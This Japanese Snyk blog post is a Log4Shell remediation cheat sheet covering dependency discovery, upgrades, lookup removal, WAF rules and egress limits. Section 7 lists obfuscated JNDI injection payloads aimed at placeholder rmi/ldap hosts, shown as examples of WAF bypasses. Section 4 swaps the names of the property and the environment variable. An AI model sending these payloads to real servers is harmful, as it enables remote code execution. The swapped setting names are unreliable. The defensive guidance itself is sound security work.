Log4Shell remediation cheat sheet

著者

Kirill Efimov

2021年12月14日

0 分で読めます

編集者注（2021年12月28日午後7時35分 GMT）： Log4jチームは新たなセキュリティアップデートをリリースしました。このアップデートでは、2.17.0にCVE-2021-44832として特定されたリモートコード実行の脆弱性があることが判明しました。 最新バージョンへのアップグレードを推奨します。現時点での最新バージョンは2.17.1です。 Log4jをめぐる状況は急速に変化しているため、新しい情報が入り次第、ブログを更新しています。

今では誰もがLog4Shellの脆弱性について耳にしたことがあるでしょう。このLog4Shell修正チートシートでは、本番システムでの脆弱性への露出を抑え、悪用のリスクを軽減するために用いられている主な修正策と推奨事項をまとめています。これは随時更新されるドキュメントであり、新しい情報が入り次第、内容を更新します。今すぐこの問題を積極的に緩和する方法を知ってもらうために、ぜひコミュニティで共有してください。

この記事では、次の修正に関する推奨事項を紹介します。

アプリケーション内でLog4jが使われている箇所を特定し、可視性を高める
Log4jを2.17.1以降にアップグレードする
Log4jのルックアップ機能を削除する
プロパティでルックアップを無効にする
JDKのアップグレードだけでは不十分
自動PR機能を使ってプロジェクトを監視する
悪意のある受信リクエストをブロックするWAFルールを追加する
インターネットへの送信通信を制限する

Log4Shellの修正チートシート。Log4jのアップグレード、ルックアップの無効化、プロジェクトの監視、悪意のあるWのブロックなど、8つの緩和策を解説

Log4Shell修正チートシートをダウンロード

1. アプリケーション内でLog4jが使われている箇所を特定し、可視性を高める

今、大きな課題の一つとなっているのは、本番環境のどこでLog4jが取り込まれているかを把握することです。Log4jは、依存関係を通じてアプリケーションに直接、または推移的に取り込まれる可能性があります。そこで、まずLog4jを使用しているかどうか、また使用している場合はどこかを特定しましょう。気づかないうちに使っている可能性は非常に高いので注意してください。

Snykを使えば、Gitリポジトリ内のすべてのプロジェクトをスキャンし、使用している直接依存関係と推移的依存関係の一覧レポートを作成できます。このレポートから、Log4jが取り込まれているかどうか、依存関係グラフ内のどの経路で使われているかを確認できます。なお、この機能はSnykのセルフサービス無料プランで利用可能なので、すぐに使い始められます。

脆弱性でフィルタリングされた依存関係ツリー。Apache Struts、Log4j、その他のライブラリと深刻度バッジを表示。

更新： Snyk CLIに、Log4Shellの脆弱性の影響を受けるLog4jライブラリの痕跡を検出する専用コマンドが追加されました。snyk log4shellはビルド済みのJavaプロジェクトをテストし、マニフェストファイルに宣言されていない場合でも、脆弱なライブラリの痕跡を検出します。snyk log4shellについて、またプロジェクトでの使い方を確認する。

別の方法として、Mavenプロジェクトでmvn dependency:tree | grep log4jを実行し、各プロジェクトの依存関係ツリー内でLog4jが使われている箇所を特定する方法があります。

2. Log4jを2.17.1以降にアップグレードする

重要：2.17.1にアップグレードすると、CVE-2021-44228、CVE-2021-45046、CVE-2021-45105、CVE-2021-44832が修正されます。

Log4jチームは、Log4jの2.17.1に複数の脆弱性修正を追加しました。また、2.16以降ではJNDI機能がデフォルトで無効化されています。可能であれば、すぐに2.17.1以降へアップグレードしてください。ただし、実際には簡単にできない場合も少なくありません。Log4jを直接依存関係としてプロジェクトに取り込んでいる場合は、比較的簡単に更新できます。一方、Log4jを使用する依存関係を介して推移的に取り込んでいる場合は、Log4jの2.17.1を使用するバージョンに、その依存関係をアップグレードする必要があります。今回の脆弱性は発見されたばかりなので、エコシステム内の他の依存関係がアップグレードされ、修正版のLog4jを含むようになるまでには時間がかかります。その間、別の方法でリスクを緩和する必要があります。

注：手順1でSnykを使ってテストした場合、可能であればOpen a PRをクリックして自動アップグレードできます。Log4jの最も近い修正版（執筆時点では2.17.1）、またはLog4jを使用する他の直接依存関係に更新されます。

Log4jの依存関係をバージョン2.3から2.15.0にアップグレードし、任意コード実行の脆弱性を修正するSnykのプルリクエスト。

Gradleを使用している場合は、依存関係制約機能を利用して、影響を受けるバージョンのLog4jがプロジェクトで解決されないようにできます。Gradleビルドに次のスニペットを追加してください（詳しくはGradleのブログをご覧ください）。

1dependencies {
  constraints {
      implementation("org.apache.logging.log4j:log4j-core") {
          version {
              strictly("[2.15, 3[")
              prefer("2.15.0")
          }
          because("CVE-2021-44228: Log4j vulnerable to remote code execution")
      }
  }
11}

3. Log4jのルックアップ機能を削除する

アップグレードできない場合、またはリスク緩和をさらに進めたい場合は、次にLog4jがルックアップを実行できないようにします。この機能は、実行環境のJndiLookup.classに含まれています。実行中の環境から削除するだけでは不十分で、JVM環境も再起動する必要があります。たとえばTomcatサーバーを使用している場合は、サーバーを停止してから再起動してください。JARからクラスファイルを削除するコマンドの例を以下に示します。

1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

同時に、この攻撃や類似の攻撃に悪用される可能性のある他のクラスも削除するとよいでしょう。これにはJndiManager、JMSAppender、SMTPAppenderが含まれます。実行環境からクラスを削除すると、予期しない動作が発生する可能性があるため注意してください。

4. プロパティでルックアップを無効にする

Log4jの2.10以降で、プログラムからルックアップを無効にする方法として、システムプロパティLOG4J_FORMAT_MSG_NO_LOOKUPSをtrueに設定する方法があります。または、環境変数としてDlog4j2.formatMsgNoLookups=trueを設定します。Log4jはこれらの変数を使って、ルックアップを実行するかどうかを判断します。

Log4jファイルを削除する場合と同様に、変更を反映するにはJVMの再起動が必要です。たとえば、新しいプロパティを適用するためにTomcatサーバーを停止して再起動する必要があります。

この方法は部分的な修正にすぎないことが判明しているため、ご注意ください。

5. JDKのアップグレードだけでは不十分

当初はJDKのアップグレードで脆弱性を緩和できるという助言がありましたが、後に、この脆弱性への対策として有効ではないことが判明しました。com.sun.jndi.ldap.object.trustURLCodebaseをfalseに設定する方法も有効ではありません。

6. 自動PR機能を使ってプロジェクトを監視する

日々状況が変化するゼロデイ脆弱性であるため、今後も可能な限り確実に保護できるようにすることが重要です。Snykを使用している場合は、必ずプロジェクトの監視を有効にしてください（Snykアプリにリポジトリをインポートすると、デフォルトで有効になります）。これにより、更新時に実行される他のテストに加えて、Snykが毎日プロジェクトを自動テストします。

毎日のテストにより、新たな修正を適用できる場合など、セキュリティを強化できる箇所が自動的に特定されます。たとえば、Log4jをpackage Aの推移的依存関係として使用している場合、Log4jの2.17.1を使うバージョンをpackage Aがリリースする必要があります。そのバージョンは今日にはなくても、明日や来週にはリリースされるかもしれません。snyk monitorを使うと毎日テストが実行され、新しいアップグレードが利用可能になった時点でPRが送られます。このPRによってLog4jがアップグレードされ、脆弱性が修正されます。

また、この脆弱性に対する追加の修正が行われた場合や、新たな脆弱性につながる攻撃経路が見つかった場合には、SnykがPRなどの方法で通知することも重要なポイントです。これにより、問題がさらに発生した際に必要な対応をいち早く把握できます。

7. 悪意のある受信リクエストをブロックするWAFルールを追加する

ここまでは、修正プロセスのうち主にアプリケーション側に焦点を当ててきました。ただし、アプリケーションの外部でリスクを緩和するために、追加の対策を講じることもできます。WAFルールを追加して、受信リクエストをフィルタリングできます。

攻撃者はこうしたルールを回避する新たな攻撃文字列を毎時間作り出しているため、この方法だけに頼るべきではありません。ルールを手動で追加する必要があるかもしれませんが、CloudFlareなど一部のWAFプロバイダーは、この脆弱性を狙った悪意のある攻撃と見られるリクエストを拒否する新しいルールをすでに公開しています。ルールをすり抜けた攻撃の例をいくつか紹介します。

1${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
2${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
3${jndi:rmi://adsasd.asdasd.asdasd}
4${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
5${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
6${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
7${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
8${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://%s}

8. インターネットへの送信通信を制限する

WAFルールによってアプリケーションへの受信リクエストを制限できますが、侵害されたネーミングサービスに悪意のあるLDAPリクエストを送るため、アプリケーションから外部へ送信されるリクエストも同様に懸念されます。Kubernetesの設定や環境内の他の仕組みを使って送信ポリシーを更新し、Log4jによる悪意のあるネーミングルックアップと見られる送信リクエストを制限する方法があります。

WAFと同じく、これも完全な修正策ではありません。脆弱なガジェットを介すれば、外部LDAPへのネットワークリクエストを伴わない悪意のあるペイロード（前述したTomcatサーバーのケースなど）を作成できるためです。

新たに見つかったLog4jのゼロデイ脆弱性とは？

新たな脆弱性は、オープンソースのJavaライブラリ`log4j-core`で見つかりました。これは、最も広く使われているJavaロギングフレームワークの一つを構成するコンポーネントです。CVSSスコアは10（最高値）で、深刻度は「クリティカル」に分類されています。脆弱なバージョンのLog4jを使用すると、ログに記録されるあらゆる受信データがリモートコード実行につながる可能性があります。

Log4Shellの脆弱性はどれほど深刻ですか？

簡潔に言えば、「非常に深刻」です。CVSSスコアが10（最高値）のクリティカルなセキュリティ脆弱性であり、脆弱な環境で攻撃者がリモートからコードを実行できてしまいます。これは重大な問題であり、早急な修正が必要です。

このLog4jの脆弱性が発見されたのはいつですか？

この新たなLog4jのゼロデイ脆弱性は、2021年12月10日（金）に公開されました。

Log4jの脆弱性を発見したのは誰ですか？

この脆弱性は、Alibabaのクラウドセキュリティチームに所属するChen Zhaojunによって発見されました。